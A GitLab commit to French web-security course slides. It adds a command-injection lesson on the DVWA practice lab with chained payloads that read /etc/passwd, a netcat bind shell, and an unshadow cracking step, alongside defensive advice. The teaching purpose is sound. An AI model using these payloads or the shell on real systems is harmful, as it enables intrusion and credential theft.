Commit 2c4ef04f authored by Vincent Mazenod's avatar Vincent Mazenod
Browse files

privacy-crypto + websec fusionnés raccourcis

parent 007f6272
......@@ -13,16 +13,21 @@ Tags: cours
* [mots de passes](slides/privacy/passwords.html)
* [tracking](slides/privacy/tracking.html)
* [souveraineté](slides/privacy/sovereignty.html)
* [tails](slides/privacy/tails.html)
<!-- * [tails](slides/privacy/tails.html) -->
### Crypto
* [principes cryptographiques](slides/privacy/crypto.html)
* [tls](slides/privacy/tls.html)
* [Heartbleed](slides/1337/heartbleed.html)
<!--
* [pgp](slides/privacy/pgp.html)
* [tls vs pgp](slides/privacy/TLSvsPGP.html)
* [tor](slides/privacy/tor.html) / [tor pour les moldus](slides/privacy/tor_lite.html)
* [bitcoin](slides/privacy/bitcoin.html)
-->
<div class="panel panel-success">
<div class="panel-heading">
......
......@@ -9,24 +9,25 @@ Tags: cours
* Architecture
* [HTTP](slides/1337/http.htm)
* [HTTP](slides/1337/http.html)
* Pentesting
* [Collecter](https://doc.m4z3.me/_/1337/collecter.htm)
* [Détecter](https://doc.m4z3.me/_/1337/detecter.htm)
* [Collecter](slides/1337/collecting.html)
* Exploit
* [Détecter](slides/1337/detecting.html)
<!-- * Exploit
* [Heartbleed](https://doc.m4z3.me/_/1337/heartbleed.htm)
* [Heartbleed](slides/1337/heartbleed.html) -->
* Mécanisme
* [Authentification](https://doc.m4z3.me/_/1337/AUTH.htm)
* [Authentification](slides/1337/authentication.html)
* Vulnérabilités communes
* [Command execution](https://doc.m4z3.me/_/1337/CMDi.htm)
* [Command execution](slides/1337/cmdi.html)
* Exploit
......
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>CMDi</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/cmdi.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
......@@ -23,6 +23,7 @@
# quelques techniques
## du world wide web
## apache & .htaccess
......@@ -273,7 +274,7 @@ Note:
## force brute
* par dictionnaires
* liste d'utilisateurs + list de mots de passe
* liste d'utilisateurs + liste de mots de passe
* optimisable avec de la probabilité, [des dictionnaires au hasard](https://dazzlepod.com/site_media/txt/passwords.txt), de l'ingénieurie sociale, du flaire etc ...
* par recherche
* combinatoire
......@@ -351,12 +352,21 @@ unshadow /etc/passwd /etc/shadow > mypasswd
## 2AF
![Google Authenticator](images/authentication/google-authenticator.png)
https://www.google.com/landing/2step/
## Yubikey
[![Ubikey](images/passwords/yubikey.png)](https://www.yubico.com/)
[![Ubikey](../privacy/images/passwords/yubikey.png)](https://www.yubico.com/)
## SSO
![Shibboleth](images/authentication/Shibboleth.png)
"Identity providers (IdPs) supply user information, while service providers (SPs) consume this information and give access to secure content"
## <i class="fa fa-medkit"></i> Se protéger
......
## Command execution
### [security low](http://dv.wa/vulnerabilities/exec/)
* exécutrion de commandes arbitraires sur le serveur
* aussi appelée [command injection](https://www.owasp.org/index.php/Command_Injection)
* triviale mais assez rare
## Command execution
* paramètre non filtré
* la commande est écrite en dur
* **&&**, **|** ou **;** permettent d'entamer une chaine d'instructions
* exécutée avec les droits du serveur (thread)
```shell
localhost && ls
localhost; whoami
localhost| id
```
* le réseau est également explorable
Note:
- dvwa à brutforcer
- non y a le cookie qui coince :/
- admin:password
- https://securenetworkmanagement.com/dvwa-and-hydra-login-dvwa-part-1/
- ce cas est faille assez rare
- il faut injecter des commandes que le server connait
- win/unix/linux/bsd/solarix/aix
- pool de commandes par défaut
- l'enchainement d'exlpoits est laisser à l'imagination du pentester
- plus il est expérimenté plus il peut créer des attques complexes
- plus il peut aller loin dans l'exploitation
- Regarder le code
- Que peut on faire pour améliorer
- DVWA Security -> medium
## Command execution
### [security medium](http://dv.wa/vulnerabilities/exec/)
* les chaînes de caractères "&&" et ";" sont interdites
```shell
# Pour y voir plus clair
1 | ls
# Plus intéressant
1 | pwd & whoami & ps
1 | uname -a & users & id & w
1 | cat /etc/group
1 | cat /etc/passwd
```
Note:
- approche liste noire toujours perdante
- liste de caractère à échapper
- résultat visible
- affiché dans la page
- méga rare
- aveugle
- certaines pas faciles à détecter
- adduser / mkdir lors de la création de compte
- un username se terminant par
- ;cmd
- ping réseau
- on sait si ca a marcher avec le temps d'exécution du ping
- si ca rame au chargement de la page
- c'est que le ping est en train de s'exécuter à l'infini
- sinon sniffer le ping de retour
- si pas bloqué
- ping -c3 127.0.0.1 pour mémoire
- résolution dns d'un domaine maitrisé connu de nous seul
- Regarder le code
- Que peut on faire pour amliorer
- DVWA Security -> high
## Command execution
### [security high](http://dv.wa/vulnerabilities/exec/)
* l'approche est ici différente
* on ne cherche plus à éliminer les caractères dangereux
* on cherche à valider que l'entrée est bien une IP
```shell
$valid = preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\z/', $string);
```
Note:
-détailler l'expression régulière
## bind shell
* injecter
```shell
1 | netcat -v -e '/bin/bash' -l -p 1337
```
* puis sur le terminal de l'attaquant
```shell
netcat -v dv.wa 1337
```
* \o/ nous disposons d'un accès à la machine i
* avec les permissions de l'utilisateur www-data
Note:
- revenir en medium ou low security
- on peut le faire avec cookie manager +
- netcat couteau suisse réseau
- permet d'écrire sur un port
- soumis a pas mal de condition en vérité
- marche que dans un sens
- DMZ coupe tout le sortant
- reste possible dans ce sens
- mais faut passer d'eventuels friewalls
- et netcat peu avoir été supprimé
## <i class="fa fa-medkit"></i> Se préserver
* éviter les commandes [exec](http://php.net/manual/fr/function.exec.php), [shell_exec](http://php.net/manual/fr/function.shell-exec.php), [passtru](http://php.net/manual/fr/function.passthru.php) ou [system](http://php.net/manual/fr/function.system.php)
* utiliser shell_escape_args() en php
* utliser JSON.parse plutot qu'un eval() de JSON
* utiliser des lib spéacilisées
* [<i class="fa fa-github"></i> symfony/Filesystem](https://github.com/symfony/Filesystem)
* [<i class="fa fa-github"></i> symfony/Finder](https://github.com/symfony/Finder)
Note:
- faire marcher le bon sens
- Note le cron de drupal est pourri parce qu'appelable via des url
- utiliser le cron system
## <i class="fa fa-medkit"></i> Se préserver
* liste blanche
* cron pour les traitements récurrents
* ne pas installer `ǹetccat`
......@@ -20,8 +20,8 @@
# HTTP
* inventé par [Tim Berners-Lee](http://fr.wikipedia.org/wiki/Tim_Berners-Lee) en 1989
* en [version 1.1](https://www.ietf.org/rfc/rfc2616.txt) depuis 1999
* version 2.0 en cours de standardisation
* [version 1.1](https://www.ietf.org/rfc/rfc2616.txt) jusqu'à 1999
* [version 2.0](https://tools.ietf.org/html/rfc7540)
* basée sur [SPDY](http://fr.wikipedia.org/wiki/SPDY) de Google
Note:
......@@ -64,6 +64,8 @@ Cache-Control: max-age=0
useless data
</code></pre>
Connaissez vous Burp Suite?
Note:
- Connection: keep-alive multiplexage de requête - envoyer plusieurs requêtes HTTP via la même connexion TCP (SPDY utilise ça)
- Accept-Encoding: gzip, deflate commpressions supportées par le navigateur
......@@ -289,10 +291,11 @@ Note:
Access-Control-Allow-Origin: http://www.foo.com
</code></pre>
* <span style="color:red">* </span> dans le cas d'une ressource 100% publique
## [CORS](http://en.wikipedia.org/wiki/Cross-origin_resource_sharing)
* <span style="color:red">* </span> dans le cas d'une ressource 100% publique
* autorise tous les verbes HTTP
* remplace [JSONP](https://en.wikipedia.org/wiki/JSONP)
* qui n'autorisait que la méthode GET
......
......@@ -32,7 +32,7 @@
Pentesting
<ul>
<li><a href="1337/gathering.html">Collecter</a></li>
<li><a href="1337/detect.html">D&eacute;tecter</a></li>
<li><a href="1337/detecting.html">D&eacute;tecter</a></li>
<li>
Exploit
<ul>
......
### X.509
## X.509
* Certificat créé par la CA
* 1 seule signature : celle de la CA
* Chiffre le tuyau (TLS/SSL)
* Confiance centralisée
* Confiance distribuée
* Forêt d’arbres de confiance
### PGP
## PGP
* Certificat créé par l’utilisateur
* Plusieurs signatures
* Chiffre les messages
* Graph orienté de confiance
X.509 centralise la confiance sur les CA
PGP distribue la confiance entre utilisateurs
## X.509 centralise la confiance sur les CA
## PGP distribue la confiance entre utilisateurs
......@@ -259,7 +259,7 @@ note:
## Signature en pratique
* Bob a pu vérifier
* la clé à l'origine du message **autentification de l'origine**
* la clé à l'origine du message: **autentification de l'origine**
* l'**intégrité** du message
**autentification de l'origine** + **intégrité**
......
......@@ -65,7 +65,7 @@
* **Serial**
* Algorithme de signature du certificat
* **Issuer** le signataire (***DN*** de la ***CA***)
* **Validty** début fin de validité
* **Validity** début fin de validité
* **Subject name** **DN** identifié par le certificat
* **Subject Public Key**
* Extensions (ajouté en v3)
......
Markdown is supported
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment